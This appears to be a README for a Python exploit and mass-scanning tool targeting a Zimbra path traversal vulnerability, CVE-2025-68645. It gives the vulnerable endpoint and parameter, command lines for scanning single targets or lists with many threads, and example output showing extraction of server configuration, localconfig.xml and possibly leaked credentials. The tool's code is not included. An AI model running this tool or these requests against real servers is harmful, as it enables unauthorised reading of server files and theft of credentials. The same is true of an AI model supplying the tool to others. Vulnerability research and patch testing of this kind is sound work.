CVE-2025-68645 - Zimbra Path Traversal Vulnerability

📋 Overview

CVE-2025-68645 is a path traversal vulnerability in Zimbra Collaboration Suite that allows unauthenticated attackers to read arbitrary files from the server's filesystem.

Vulnerable Endpoint

/h/printconversations?javax.servlet.include.servlet_path=

🎯 Impact

📁 Readable Files

🚀 Usage

Single Target Scan

python CVE-2025-68645.py.py -t https://target.zimbra.com

Mass Scanning

python CVE-2025-68645.py.py -l targets.txt -o results.json --threads 20

Advanced Options

python CVE-2025-68645.py.py -t https://target.zimbra.com -v --timeout 30

📊 Command Line Arguments

Argument Description Default -t, --target Single target URL None -l, --list File containing list of targets None -o, --output Output file name results.json --threads Number of concurrent threads 10 --timeout Request timeout in seconds 15 -v, --verbose Enable verbose output False --no-verify Disable SSL verification False --read-all Read all sensitive paths False

📸 Example Output

[*] Scanning: https://target.zimbra.local [✓] VULNERABLE: https://target.zimbra.local [+] Extracted configuration: version: 220726130125 memcached: target.local:11211 httpsPort: 8443 httpPort: 8080 [+] Found: /WEB-INF/web.xml [+] Found: /opt/zimbra/conf/localconfig.xml [!] Possible credentials leaked in /WEB-INF/web.xml

============================================================ SCAN COMPLETE! Time elapsed: 1.02 seconds Total targets: 1 Vulnerable: 1 Not vulnerable: 0